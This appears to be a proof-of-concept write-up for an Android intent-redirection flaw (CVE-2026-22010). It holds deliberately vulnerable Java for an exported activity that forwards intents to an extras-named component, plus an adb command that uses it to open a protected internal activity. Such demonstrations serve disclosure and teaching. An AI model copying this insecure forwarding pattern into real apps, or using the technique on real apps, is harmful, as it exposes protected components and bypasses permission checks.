
Proof-of-concept for CVE-2026-22010 Android intent redirection: demonstrates an exported activity forwarding intents to attacker-controlled internal components, bypassing permission checks, with vulnerable Java code and adb exploit steps.
// VulnActivity.java - Exported activity that forwards intents
public class VulnActivity extends Activity {
@Override
protected void onCreate(Bundle b) {
super.onCreate(b);
Intent incoming = getIntent();
// Retrieve target component from extras
String targetPkg = incoming.getStringExtra("pkg");
String targetCls = incoming.getStringExtra("cls");
Intent forward = new Intent();
forward.setClassName(targetPkg, targetCls);
// Copy all extras from original intent
forward.putExtras(incoming);
startActivity(forward);
}
}
An exported Android activity blindly redirects incoming intents to a component specified in the intent’s extras. An attacker can craft an intent that causes the app to launch a protected internal activity with attacker‑controlled data, bypassing permission checks.
Deploy the vulnerable app on an Android emulator. Send an intent via adb:
adb shell am start -n com.example/.VulnActivity --es pkg com.example.internal --es cls com.example.SecretActivity
The internal activity launches without proper permissions.